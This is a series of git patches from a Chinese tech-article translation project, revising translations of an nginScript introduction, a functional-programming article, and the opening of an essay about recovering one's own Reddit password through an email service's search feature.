-* [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index be23321560b..9d3f38cc8d7 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)

From b7d8530b8e44ae6cdc6687bd115ad8569637a145 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 19 Apr 2017 10:43:26 +0800
Subject: [PATCH 205/638] :pencil2: Update links

(#1531)

Signed-off-by: sqrtthree <imsqrtthree@gmail.com>
---
 TODO/higher-order-functions-composing-software.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/higher-order-functions-composing-software.md b/TODO/higher-order-functions-composing-software.md
index 0f8e8def2bf..a60e107e848 100644
--- a/TODO/higher-order-functions-composing-software.md
+++ b/TODO/higher-order-functions-composing-software.md
@@ -2,7 +2,7 @@
 > *   原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > *   译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > *   译者：[reid3290](https://github.com/reid3290)
-> *   校对者：
+> *   校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[avocadowang](https://github.com/avocadowang)
 
 # 高阶函数（软件编写）（第四部分） #
 
@@ -10,7 +10,7 @@
 
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）
 > 注意：这是“软件编写”系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
-> [< 上一篇](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.gof8dsqh9) | [<< 第一篇](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [下一篇 >](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d) 
+> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md) | [<< 第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md)
 
 **高阶函数**是一种接收一个函数作为输入或输出一个函数的函数（译注：参见维基百科[高阶函数](https://zh.wikipedia.org/wiki/%E9%AB%98%E9%98%B6%E5%87%BD%E6%95%B0)），这是和一阶函数截然不同的。
 
@@ -129,7 +129,7 @@ const gt3 = highpass(3);
 
 换言之，高阶函数可以用来实现函数的多态性。如你所见，相对于一阶函数而言，高阶函数的复用性和通用性更好。一般来讲，在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。
 
-[**再续 “Reduce” >**](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
+[**再续 “Reduce” >**](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md)
 
 ### 接下来 ###
 

From 76b5e9faadca0bc60f4623f2e4e92f567db66d2b Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Tue, 18 Apr 2017 21:17:35 -0700
Subject: [PATCH 206/638] revision v1

---
 TODO/introduction-nginscript.md | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 22b993b078c..2f833f6748d 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -9,18 +9,18 @@
 
 ![](https://cdn.wp.nginx.com/wp-content/uploads/2017/03/introduction-to-nginScript-1000x600.jpg)
 
-### *为每一个请求使用 JavaScript 方便和强大的功能*
+### *在 HTTP 请求中发挥出 JavaScript 的强大力量和便捷优势*
 
-*编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司开发他们自己的 JavaScript 实现的原因，并且提出了一个简单的用例。探索更多的用例，请阅读其他的博文：*
+*编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因，并且提供了一个简单的使用案例。探索更多的使用案例，请阅读其他的博文：*
 
 - [*nginScript 入门*](https://www.nginx.com/blog/introduction-nginscript/)
 - [*使用 nginScript 逐步迁移客户端到新的服务器*](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)
 - 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的[*nginScript 日志记录进阶*](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)
 - [*使用 nginScript 实现基于数据遮蔽的用户隐私保护*](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)
 
-自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，很多新的能力和核心语言被加入的同时，它曾一直作为一个实验性的模块存在。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
+自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
-nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它使用 JavaScript 代码扩展了 NGINX 的配置语法，以实现复杂配置的解决方案。
+nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它通过 JavaScript 代码扩展了 NGINX 的配置语法，为复杂配置提供了解决方案。
 
 nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，例如：
 
@@ -28,7 +28,7 @@ nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，
 - 实现新的负载均衡算法
 - 为应用层粘滞会话（sticky sessons）解析 TCP/UDP 协议
 
-当然，nignScript 可以做更多，也有更多可能性有待实现。虽然我们已经宣布 nignScript 支持广泛地应用，并且已经推荐在生产环境使用 nignScript，但我们还有一些在计划中的改良，用来支持更多的用例：
+当然，nignScript 可以做更多，也有更多可能性有待实现。虽然我们已经宣布 nignScript 能被广泛地应用，并且已经推荐在生产环境使用 nignScript，但我们还有一些在计划中的改良，用来支持更多的用例：
 
 - 查看并修改 HTTP 请求／响应的 body（现已支持 TCP/UDP）
 - 在 nginScript 代码中发出 HTTP 子请求（subrequests）
@@ -43,39 +43,39 @@ nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，
 
 Lua 是一个强大的脚本语言。但是，就采用率来看，它仍是有一定缺陷的。并且，它也不算一个前端工程师或者开发运维工程师必备技能。
 
-nginScript 没有企图取代 Lua，并且 nginScript 也无法立刻达到同等级别的实用性。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的，程序化配置的解决方案。
+nginScript 没有企图取代 Lua，并且 nginScript 还有很长的路要走才能与 Lua 相提并论。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的，程序化配置的解决方案。
 
 ## nginScript 不是 Node.js
 
-nginScript 的目标并不是将 NGINX 或者 NGINX Plus 变成一个应用服务器。简言之，使用中的 nginScript 类似于中间件，因为脚本的执行是发生于客户端与内容之间的。技术上讲，Node.js 与 nginScript 和 NGINX（或 NGINX Plus）的结合体有两个共同点，那就是[事件驱动的架构](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)，以及，都将 JavaScript 作为编程语言，仅此而已。
+nginScript 的目标并不是将 NGINX 或者 NGINX Plus 变成一个应用服务器。简言之，nginScript 的功能相当于中间件，因为脚本的执行是发生于客户端与内容之间的。技术上讲，Node.js 与 nginScript 和 NGINX（或 NGINX Plus）的结合体有两个共同点，那就是[事件驱动的架构](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)，以及，都将 JavaScript 作为编程语言，仅此而已。
 
-Node.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScript 标准的实现，专为 NGINX 和 NGINX Plus 设计。Node.js 有一个 JavaScript 虚拟机在内存中一直存在，用来执行垃圾回收和内存管理的操作，而 nginScript 则会对每一个请求都初始化一个 JavaScript 虚拟机和相应的内存空间，并在请求被完成后释放内存空间。
+Node.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScript 标准的实现，专为 NGINX 和 NGINX Plus 设计。Node.js 内置 JavaScript 虚拟机，用来执行垃圾回收和内存管理的操作，而 nginScript 则会对每一个请求都初始化一个 JavaScript 虚拟机和相应的内存空间，并在请求被完成后释放内存空间。
 
 ## 作为服务端语言的 JavaScript
 
 如上所述，nginScript 是 JavaScript 语言的标准实现。而目前，所有其他的 JavaScript 运行引擎，都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 - 从系统资源的可利用性，到可能存在的并发运行的数量。
 
-我们决定实现自己的 JavaScript runtime，来满足运行服务端代码的需要，与 NGINX 请求处理架构那庞大的体量。以下是我们的设计原则：
+我们决定实现自己的 JavaScript runtime，一方面来满足服务端运行的需要，另一方面这种方式可以与 NGINX 请求处理的架构进行优雅适配。以下是我们的设计原则：
 
 - 
 **运行环境与请求有相同的生命周期**
 
-nginScript 使用单线程的字节码执行，这么设计是为了快速的初始化和垃圾清理。对每个请求，都对应的运行环境被初始化。初始启动是很迅速的，因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积，在运行完成的时候被释放。这种内存管理的设计，消除了为单个对象跟踪和释放内存，或者使用垃圾收集器的需要。
+nginScript 使用单线程的字节码执行，这么设计是为了快速的初始化和垃圾清理。对每个请求，都有对应的运行环境被初始化。初始启动是很迅速的，因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积，在运行完成的时候被释放。这种内存管理的设计无需为单个对象跟踪和释放内存，或使用垃圾收集器。
 
 - 
-**非阻塞的代码执行**
+**非阻塞式代码执行**
 
 NGINX 和 NGINX Plus 的事件驱动模式会调度每个 nginScript 运行环境的运行。当一个 nginScript 规则执行一个阻塞操作时（比如读取网络数据，或者发起外部的子请求），NGINX 和 NGINX Plus 会将那个 JavaScript 虚拟机挂起，并在那个操作结束时，重新安排它的运行。这意味着，你可以将规则写的简单、线性，而 NGINX 和 NGINX Plus 在调度它们的时候也不会被阻塞。
 
 - 
 **按照我们的需要实现语言**
 
-JavaScript 的详细描述是被 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/)，和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级，并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。
+JavaScript 的规范是按 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/)，和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级，并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。
 
 - 
 **与请求处理阶段的紧密结合**
 
-NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行，原生的 NGINX 模块通常会在某个特定阶段，查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去，通过配置指令，将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式，同时保证了原生 NGINX 模块的功能性和灵活性，与 JavaScript 代码的简单。
+NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行，原生的 NGINX 模块通常会在某个特定阶段，查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去，通过配置指令，将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式，同时保证了原生 NGINX 模块的功能性和灵活性，并让其 JavaScript 实现代码变得简单。
 
 下面的表格指出了目前可被 nginScript 利用的处理阶段，还有相应的配置指令。
 
@@ -161,7 +161,7 @@ $ sudo yum install nginx-plus-module-njs
 ```
 
 2.
-在 **nginx.conf** 配置文件的顶层 ("main") 语境（而不是 `http` 或者 `流（stream）` 语境）中为这个模块加入一个[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)命令。这个例子给 HTTP 流量装载了 nginScript 模块：
+我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
 
 ```
 load_module modules/ngx_http_js_module.so;
@@ -196,7 +196,7 @@ $ sudo yum install nginx-module-njs
 ```
 
 2.
-在 **nginx.conf** 配置文件的顶层 ("main") 语境（而不是 `http` 或者 `流（stream）` 语境）中为这个模块加入一个[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)命令。这个例子给 HTTP 流量装载了 nginScript 模块：
+我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
 
 ```
 load_module modules/ngx_http_js_module.so;

From d48024d38ab6e85581052ecc9c4c70f65c126590 Mon Sep 17 00:00:00 2001
From: 1992chenlu <2013luchen@gmail.com>
Date: Tue, 18 Apr 2017 21:32:24 -0700
Subject: [PATCH 207/638] tweak styling

---
 TODO/introduction-nginscript.md | 44 +++++++++++----------------------
 1 file changed, 15 insertions(+), 29 deletions(-)

diff --git a/TODO/introduction-nginscript.md b/TODO/introduction-nginscript.md
index 2f833f6748d..667414b6365 100644
--- a/TODO/introduction-nginscript.md
+++ b/TODO/introduction-nginscript.md
@@ -20,7 +20,7 @@
 
 自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。
 
-nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每个请求处理而设计的。它通过 JavaScript 代码扩展了 NGINX 的配置语法，为复杂配置提供了解决方案。
+nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每次请求处理而设计的。它通过 JavaScript 代码扩展了 NGINX 的配置语法，为复杂配置提供了解决方案。
 
 nignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，例如：
 
@@ -57,23 +57,19 @@ Node.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScr
 
 我们决定实现自己的 JavaScript runtime，一方面来满足服务端运行的需要，另一方面这种方式可以与 NGINX 请求处理的架构进行优雅适配。以下是我们的设计原则：
 
-- 
-**运行环境与请求有相同的生命周期**
+- **运行环境与请求有相同的生命周期**
 
 nginScript 使用单线程的字节码执行，这么设计是为了快速的初始化和垃圾清理。对每个请求，都有对应的运行环境被初始化。初始启动是很迅速的，因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积，在运行完成的时候被释放。这种内存管理的设计无需为单个对象跟踪和释放内存，或使用垃圾收集器。
 
-- 
-**非阻塞式代码执行**
+- **非阻塞式代码执行**
 
 NGINX 和 NGINX Plus 的事件驱动模式会调度每个 nginScript 运行环境的运行。当一个 nginScript 规则执行一个阻塞操作时（比如读取网络数据，或者发起外部的子请求），NGINX 和 NGINX Plus 会将那个 JavaScript 虚拟机挂起，并在那个操作结束时，重新安排它的运行。这意味着，你可以将规则写的简单、线性，而 NGINX 和 NGINX Plus 在调度它们的时候也不会被阻塞。
 
-- 
-**按照我们的需要实现语言**
+- **按照我们的需要实现语言**
 
 JavaScript 的规范是按 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/)，和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级，并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。
 
-- 
-**与请求处理阶段的紧密结合**
+- **与请求处理阶段的紧密结合**
 
 NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行，原生的 NGINX 模块通常会在某个特定阶段，查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去，通过配置指令，将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式，同时保证了原生 NGINX 模块的功能性和灵活性，并让其 JavaScript 实现代码变得简单。
 
@@ -143,32 +139,27 @@ nginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例
  
 nginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)，（关于开源 NGINX，请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。）
 
-1. 
-从 NGINX Plus repository 获取并安装 nginScript 模块
+1. 从 NGINX Plus repository 获取并安装 nginScript 模块
 
-- 
-Ubuntu 和 Debian 系统使用下面的命令：
+- Ubuntu 和 Debian 系统使用下面的命令：
 
 ```
 $ sudo apt‑get install nginx-plus-module-njs
 ```
 
--
-RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
+- RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
 
 ```
 $ sudo yum install nginx-plus-module-njs
 ```
 
-2.
-我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
+2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
 
 ```
 load_module modules/ngx_http_js_module.so;
 ```
 
-3.
-重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
+3. 重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
 
 ```
 $ sudo nginx -s reload
@@ -178,32 +169,27 @@ $ sudo nginx -s reload
 
 如果你的系统配置了官方的[开源 NGINX 预建包（pre‑built packages）](http://nginx.org/en/linux_packages.html#mainline)，并且你安装的版本在 1.9.11 或以上，你可以直接将 nginScript 安装为平台的预建包（pre‑built packages）。
 
-1.
-安装预建包（pre‑built packages）
+1. 安装预建包（pre‑built packages）
 
-- 
-Ubuntu 和 Debian 系统使用下面的命令：
+- Ubuntu 和 Debian 系统使用下面的命令：
 
 ```
 $ sudo apt-get install nginx-module-njs
 ```
 
-- 
-RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
+- RedHat、CentOS 和 Oracle Linux 系统使用下面的命令：
 
 ```
 $ sudo yum install nginx-module-njs
 ```
 
-2.
-我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
+2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下（"main"）加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module)，用来给 HTTP 流量加载 nginScript 模块（注意不是在 http 或者 stream 的 context 下）：
 
 ```
 load_module modules/ngx_http_js_module.so;
 ```
 
-3.
-重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
+3. 重新加载 NGINX Plus，将 nginScript 模块载入到正在运行的实例中。
 
     $ sudo nginx -s reload
 

From 66d55aa040387311281fd3b8f34c2611511c43f6 Mon Sep 17 00:00:00 2001
From: cdpath <cdpath@outlook.com>
Date: Wed, 19 Apr 2017 18:47:00 +0800
Subject: [PATCH 208/638] Update
 the-time-i-had-to-crack-my-own-reddit-password.md

---
 ...e-i-had-to-crack-my-own-reddit-password.md | 209 +++++++++---------
 1 file changed, 105 insertions(+), 104 deletions(-)

diff --git a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
index a7cd6da89cd..8bed62b5a49 100644
--- a/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
+++ b/TODO/the-time-i-had-to-crack-my-own-reddit-password.md
@@ -1,155 +1,155 @@
 > * 原文地址：[That time I had to crack my own Reddit password](https://medium.freecodecamp.com/the-time-i-had-to-crack-my-own-reddit-password-a6077c0a13b4)
 > * 原文作者：[Haseeb Qureshi](https://medium.freecodecamp.com/@hosseeb?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[cdpath](https://github.com/cdpath)
 > * 校对者：
 
-# That time I had to crack my own Reddit password #
+# 我是如何找回 Reddit 密码的
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/1000/1*ZAFlM8eSiuGVRo9P-8L6MQ.jpeg">
 
-Hack the planet, everybody.
+黑掉整个星球，伙计们！
 
-I have no self-control.
+我一点自制力都没有。
 
-Luckily, I know this about myself. This allows me to consciously engineer my life so that despite having the emotional maturity of a heroin-addicted lab rat, I’m occasionally able to get things done.
+幸运地是我对这一点颇有自知之明。我有意识地筹划生活，所以尽管我跟海洛因上瘾的实验小白鼠一样不成熟，偶尔还是可以搞定一些事情。
 
 ![](https://media.giphy.com/media/gOH54eiriYIwM/giphy.gif) 
 
 
-Mm, a waste of time!
+嗯，简直是浪费时间！
 
-I waste a lot of time on Reddit. If I want to procrastinate on something, I’ll often open a new tab and dive down a Reddit-hole. But sometimes you need to turn on the blinders and dial down distractions. 2015 was one of these times — I was singularly focused on improving as a programmer, and Redditing was becoming a liability.
+我逛 Reddit 浪费了很多时间。如果我想拖延点事情的话，常常会开一个新标签页然后一头扎进 Reddit。但是有时我又得心无旁骛，减少干扰。比如 2015年 —— 我专注于提升自己的编程水平，而在 Reddit 闲逛就成了负担。
 
-I needed an abstinence plan.
+我要搞个计划控制我自己。
 
-So it occurred to me: how about I lock myself out of my account?
+于是我就想：让自己登陆不了账号咋样？
 
-**Here’s what I did:**
+**我是这样做的：**
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*8Zpw3ipnu92ehqA_6T-o8w.gif">
 
-I set a random password on my account. Then I asked a friend to e-mail me this password on a certain date. With that, I’d have a foolproof way to lock myself out of Reddit. (Also changed the e-mail for password recovery to cover all the bases.)
+我给账号重设了随机密码。叫朋友在某天把密码用 email 发给我。这样就可以万无一失地让自己上不了 Reddit 啦。（出于周全的考虑我还修改了找回密码用的邮箱）。
 
-This should have worked.
+本应有效，不过......
 
-Unfortunately it turns out, friends are very susceptible to social engineering. The technical terminology for this is that they are “nice to you” and will give you back your password if you “beg them.”
+不幸的是事实上朋友根本扛不住社会工程学。换句话说，他们对你太好了，如果你求他们要密码，他们还是会发给你。
 
 ![](https://media.giphy.com/media/uB6rsQFg5yPzW/giphy.gif) 
 
-Don’t look at me like that.
+不要这样子看我。
 
-After a few rounds of this failure mode, I needed a more robust solution. A little Google searching, and I came across this:
+失败了几次后，我得找个更可靠的办法。谷歌搜索了一会儿，我发现了这个：
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*iMtDCzvNYVF9UOeiIbU7Ww.png">
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*7QCLp-4HnnDwgj1FSnRstw.png">
 
-Looks legit.
+看上去不错。
 
-Perfect — an automated, friend-less solution! (I’d alienated most of them by now, so that was a big selling point.)
+完美！一个自动化且不需要朋友介入的方案！（我现在要疏远大部分朋友，所以这一点很重要。）
 
-A bit sketchy looking, but hey, any port in a storm.
+看上去并不完善，不过管他呢，有个办法就不错了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*TOUIDOIRHiVySUWt46n3mw.gif">
 
-For a while I set this up this routine — during the week I’d e-mail myself my password, on the weekends I’d receive the password, load up on internet junk food, and then lock myself out again once the week began. It worked quite well from what I remember.
+我这样子坚持了一阵子：在工作日把密码 email 给自己，周末收到密码，在互联网垃圾信息中浪费时间，待下周开始就再锁掉账号。我印象中这一套效果不错。
 
-Eventually I got so busy with programming stuff, I completely forgot about it.
+终于有一天写代码实在太忙了，我完全忘了这一回事。
 
-### **Cut to two years later.** ###
+### 一转就是两年后
 
-I’m now gainfully employed at Airbnb. And Airbnb, it so happens, has a large test suite. This means waiting, and waiting of course means internet rabbit holes.
+我现在在 Airbnb 工作，薪酬颇丰。而且 Airbnb，事实如此，有个巨大的测试组件。也就是说等待时间颇多，而等待就意味着可以上网摸鱼。
 
-I decide to scrounge up my old account and find my Reddit password.
+我决定讨回旧账号并找回 Reddit 密码。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*sAr_MYJtJVkNq6uHiVQxtQ.gif">
 
-Oh no.That’s not good.
+哦，不。这可不好。
 
-I didn’t remember doing this, but I must have gotten so fed up with myself that** I locked myself out until 2018**. I also set it to “hide,” so I couldn’t view the contents of the e-mail until it’s sent.
+我不记得我做过这一切，不过我当时肯定是太生自己的气了，都把自己锁到了 2018 年之后了。我还把邮件内容隐藏了，所以除非等到邮件发出去，我根本看不到内容。
 
-What do I do? Do I just have to create a new Reddit account and start from scratch? But that’s *so much work.*
+我该怎么办？只能新建一个 Reddit 账号然后从头开始吗？但是这样好麻烦啊。
 
-I could write in to LetterMeLater and explain that I didn’t mean to do this. But they would probably take a while to get back to me. We’ve already established I’m wildly impatient. Plus this site doesn’t look like it has a support team. Not to mention it would be an embarrassing e-mail exchange. I started brainstorming elaborate explanations involving dead relatives about why I needed access to the e-mail…
+我大可以给 LetterMeLater 发邮件解释自己并不是真的想这么做。但是他们回信可能要好一会儿呢。而且你们都知道了，我是个急性子。这个网站看上去也不像是有客服团队的样子。更不要提写这种邮件有多尴尬了。我开始头脑风暴精心编造理由甚至扯到了去世的亲人，试图解释为什么需要看自己的邮件。
 
-All of my options were messy. I was walking home that night from the office pondering my predicament, when suddenly it hit me.
+所有的选择都不怎么靠谱。那天晚上，从公司走到家一路上我都在思考自己的尴尬处境，突然就有灵感了。
 
-**The search bar.**
+**搜索栏**
 
-I pulled up the app on my mobile phone and tried it:
+我用手机打开浏览器 App 开始尝试：
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*DvLUtm_ZGOaTGKy1bOuyYQ.gif">
 
-Hmm.
+嗯。
 
-Okay. So it’s indexing the subject for sure. What about the body?
+好吧。所以（邮件）标题肯定是有索引的。那（邮件）内容呢？
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*esw6gkV0G-M1JKaPAqipLA.gif">
 
-I try a few letters, and voila. It’s definitely got the body indexed. Remember: the body consisted entirely of my password.
+试了几个字母，果然没错。内容也是有索引的。记住：邮件内容里面有我的密码。
 
